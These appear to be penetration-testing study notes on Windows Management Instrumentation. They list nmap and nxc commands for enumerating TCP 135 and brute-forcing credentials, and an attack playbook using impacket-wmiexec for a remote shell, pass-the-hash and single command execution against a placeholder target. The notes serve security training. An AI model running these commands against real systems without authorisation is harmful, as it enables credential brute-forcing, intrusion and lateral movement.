~/service-wmi

WMI

CPTS Notes2 min read

TL;DR

WMI (Windows Management Instrumentation). The Windows management interface for remote command execution and system queries. It starts on TCP 135 (the RPC endpoint mapper), then moves to a random high port. It is the fallback when WinRM is unavailable.

First checks: 135 open, then valid credentials or a hash.

Enumeration

Sweep and check.

nmap -p135 -sV -oA scans/wmi $TARGET # RPC endpoint mapper
nxc wmi $TARGET -u <user> -p <pass> # check one credential
nxc wmi $TARGET -u users.txt -p passwords.txt # a file each brutes a list

Common misconfigurations

  • Reused Windows or domain credentials with remote-execution rights.
  • An over-privileged service or user account.

Attack playbook

WMI runs commands with a Windows credential, with no WinRM needed.

  1. Get a shell.
    impacket-wmiexec <user>:'<pass>'@$TARGET # semi-interactive shell over WMI
  2. Pass the hash.
    impacket-wmiexec -hashes :<nthash> <user>@$TARGET # pass the hash
  3. Run one command.
    nxc wmi $TARGET -u <user> -p <pass> -x 'whoami' # run one command

Practice boxes

WMI is an execution method, not a standalone vector, so there is no clean footprinting box.

WMI is the command-execution fallback to WinRM: the same credentials, TCP 135, and a shell through wmiexec.